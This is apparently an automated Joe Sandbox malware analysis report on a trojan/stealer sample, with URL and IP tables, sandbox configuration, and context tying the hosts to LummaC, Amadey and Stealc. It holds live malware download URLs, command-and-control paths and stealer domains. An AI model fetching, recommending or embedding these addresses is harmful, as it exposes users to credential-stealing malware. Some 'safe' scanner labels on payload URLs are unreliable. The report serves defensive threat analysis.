URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	37179ed0b8.exe, 00000017.00000003.3045420702.0000000003548000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045349419.000000000354B000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045523221.0000000003548000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exec.exe	skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	37179ed0b8.exe, 00000017.00000003.3045420702.0000000003548000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045349419.000000000354B000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045523221.0000000003548000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000012.00000002.2979177935.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, 9267e9145a.exe, 00000018.00000002.3050310526.0000000001189000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000012.00000002.2979177935.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, 9267e9145a.exe, 00000018.00000002.3050310526.0000000001189000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique3/random.exe	skotes.exe, 00000006.00000002.3276235591.0000000000FBB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lossekniyyt.click/ck/	fba63623fe.exe, 0000000C.00000002.3171683136.000000000123A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grannyejh.lat/nN2uku	37179ed0b8.exe, 00000017.00000003.3206189009.0000000003518000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3132577664.000000000351F000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3133966506.000000000351F000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3131985934.000000000351C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://axschema.org/company/nameBhttp://axschema.org/company/title:http://axschema.org/birthDateNhtt	fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.openid.net/pape/policies/2007/06/multi-factor-physical	fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/x3team/random.exe	skotes.exe, 00000006.00000002.3276235591.0000000000F8D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3276235591.0000000000F77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://csrc.nist.gov/publications/nistpubs/800-63/SP800-63V1_0_2.pdf	fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	false		high
http://specs.openid.net/auth/2.0$dnoa.request_nonce	fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grannyejh.lat:443/api	37179ed0b8.exe, 00000017.00000003.3269052928.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000002.3273159920.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://grannyejh.lat/9wv	37179ed0b8.exe, 00000017.00000002.3273331697.0000000000C01000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://specs.openid.net/extensions/pape/1.0	fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grannyejh.lat/(	37179ed0b8.exe, 00000017.00000003.3044712479.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3044558296.0000000000BAC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/privatepersonalidentifier	fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lossekniyyt.click/OO	fba63623fe.exe, 0000000C.00000002.3173043136.0000000003A8D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000012.00000002.2979177935.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, 9267e9145a.exe, 00000018.00000002.3050310526.0000000001189000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exeA	skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://openid.net/extensions/sreg/1.14http://openid.net/sreg/1.04http://openid.net/sreg/1.1	fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://openid.net/xmlns/1.08http://openid.net/signon/1.0	fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exe8	skotes.exe, 00000006.00000002.3276235591.0000000000FBB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	37179ed0b8.exe, 00000017.00000003.3045420702.0000000003548000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045349419.000000000354B000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045523221.0000000003548000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	37179ed0b8.exe, 00000017.00000003.3132577664.0000000003539000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/api-18	37179ed0b8.exe, 00000017.00000003.3262906350.000000000351C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	37179ed0b8.exe, 00000017.00000003.3132577664.0000000003539000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	37179ed0b8.exe, 00000017.00000003.3045420702.0000000003548000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045349419.000000000354B000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045523221.0000000003548000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exeJ	skotes.exe, 00000006.00000002.3276235591.0000000000FBB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/dodo/random.exe	skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	37179ed0b8.exe, 00000017.00000003.3134129471.0000000003631000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.	skotes.exe, 00000006.00000002.3276235591.0000000000F77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://openid.net/srv/ax/1.0	fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	false		high
http://axschema.org/contact/postalCode/businessDhttp://axschema.org/contact/IM/AIMDhttp://axschema.o	fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxex	svchost.exe, 0000000E.00000002.2917014105.0000000000A7C000.00000004.00000010.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000012.00000002.2979177935.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, 9267e9145a.exe, 00000018.00000002.3050310526.0000000001189000.00000004.00000020.00020000.00000000.sdmp	false		high
http://specs.openid.net/extensions/oauth/1.0	fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/unique1/random.exe	skotes.exe, 00000006.00000002.3276235591.0000000000FBB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://axschema.org/contact/postalAddress/homephttp://axschema.org/contact/postalAddressAdditional/h	fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://specs.openid.net/extensions/ui/1.0fhttp://specs.openid.net/extensions/ui/1.0/lang-prefhhttp:/	fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://openid.net/signon/1.1	fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	false		high
http://openid.net/sreg/1.04http://openid.net/sreg/1.1	fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apiR	37179ed0b8.exe, 00000017.00000002.3275981400.000000000351F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpY	skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apiO	37179ed0b8.exe, 00000017.00000003.3044558296.0000000000B81000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.sectigo.com0	skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000012.00000002.2979177935.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, 9267e9145a.exe, 00000018.00000002.3050310526.0000000001189000.00000004.00000020.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apiM	37179ed0b8.exe, 00000017.00000002.3273331697.0000000000C16000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3263198896.0000000000C16000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpa	skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://axschema.org/person/genderFhttp://axschema.org/media/biographyBhttp://axschema.org/pref/langu	fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://axschema.org/namePersonJhttp://axschema.org/namePerson/prefixHhttp://axschema.org/namePerson/	fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/fate/random.exe9	skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lossekniyyt.click/	fba63623fe.exe, 0000000C.00000002.3171651406.0000000001231000.00000004.00000020.00020000.00000000.sdmp, fba63623fe.exe, 0000000C.00000002.3170670189.000000000118D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpI	skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.idmanagement.gov/schema/2009/05/icam/openid-trust-level1.pdfthttp://www.idmanagement.gov/	fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	37179ed0b8.exe, 00000017.00000003.3045420702.0000000003548000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045349419.000000000354B000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045523221.0000000003548000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpG	skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000012.00000002.2979177935.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, 9267e9145a.exe, 00000018.00000002.3050310526.0000000001189000.00000004.00000020.00020000.00000000.sdmp	false		high
http://axschema.org/2http://schema.openid.net/2http://openid.net/schema/	fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exe	skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3276235591.0000000000FBB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3276235591.0000000000F77000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000012.00000002.2979177935.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, 9267e9145a.exe, 00000018.00000002.3050310526.0000000001189000.00000004.00000020.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apir	37179ed0b8.exe, 00000017.00000002.3273331697.0000000000C16000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.php4	skotes.exe, 00000006.00000002.3276235591.0000000000F77000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/x3team/random.exe76	skotes.exe, 00000006.00000002.3276235591.0000000000F8D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://specs.openid.net/auth/2.0	fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/fate/random.exee	skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	37179ed0b8.exe, 00000017.00000003.3132577664.0000000003539000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	37179ed0b8.exe, 00000017.00000003.3132577664.0000000003539000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	37179ed0b8.exe, 00000017.00000003.3045420702.0000000003548000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045349419.000000000354B000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045523221.0000000003548000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.openid.net/pape/policies/2007/06/none	fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grannyejh.lat/)4	37179ed0b8.exe, 00000017.00000003.3076397073.0000000003588000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3076502987.000000000358C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	37179ed0b8.exe, 00000017.00000003.3134129471.0000000003631000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apiTH	37179ed0b8.exe, 00000017.00000003.3263198896.0000000000C16000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://namespace.google.com/openid/xmlns	fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.idmanagement.gov/schema/2009/05/icam/no-pii.pdf	fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000012.00000002.2979177935.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, 9267e9145a.exe, 00000018.00000002.3050310526.0000000001189000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	37179ed0b8.exe, 00000017.00000003.3045420702.0000000003548000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045349419.000000000354B000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045523221.0000000003548000.00000004.00000800.00020000.00000000.sdmp	false		high
http://openid.net/extensions/sreg/1.1	fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apiQVU3Yu	37179ed0b8.exe, 00000017.00000003.3131985934.000000000351C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://grannyejh.lat/	37179ed0b8.exe, 00000017.00000003.3044558296.0000000000BAC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://specs.openid.net/extensions/ui/icon	fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000012.00000002.2979177935.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, 9267e9145a.exe, 00000018.00000002.3050310526.0000000001189000.00000004.00000020.00020000.00000000.sdmp	false		high
https://grannyejh.lat/teAB	37179ed0b8.exe, 00000017.00000003.3268433937.000000000351F000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3262906350.000000000351C000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000002.3275981400.000000000351F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://msdn.com/data/ef	fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/Iw	37179ed0b8.exe, 00000017.00000003.3263198896.0000000000C03000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000002.3273331697.0000000000C01000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.openid.net/pape/policies/2007/06/phishing-resistantxhttp://schemas.openid.net/pape/po	fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://specs.openid.net/extensions/ui/1.0hhttp://specs.openid.net/extensions/ui/1.0/mode/popupfhttp:	fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.226.108.155	unknown	United States	14618	AMAZON-AESUS	false
172.67.209.202	pancakedipyps.click	United States	13335	CLOUDFLARENETUS	false
98.85.100.80	httpbin.org	United States	11351	TWC-11351-NORTHEASTUS	false
172.67.179.109	grannyejh.lat	United States	13335	CLOUDFLARENETUS	false
172.67.131.246	lossekniyyt.click	United States	13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577806
Start date and time:	2024-12-18 19:06:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@46/16@11/8
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.246.63, 20.109.210.53
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
13:08:01	API Interceptor	8290x Sleep call for process: skotes.exe modified
13:08:15	API Interceptor	8x Sleep call for process: fba63623fe.exe modified
13:08:34	API Interceptor	7x Sleep call for process: 37179ed0b8.exe modified
13:08:44	API Interceptor	1x Sleep call for process: 9267e9145a.exe modified
13:09:03	API Interceptor	1x Sleep call for process: 12379a76ea.exe modified
19:07:01	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
34.226.108.155	slehaYAu1z.exe	Get hash	malicious	Cryptbot	Browse
	7KAYnROp5y.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	LPtrVGfaJR.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	3a5Wrz0dWU.exe	Get hash	malicious	Cryptbot	Browse
	9y8P2kPsOq.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	random.exe.7.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
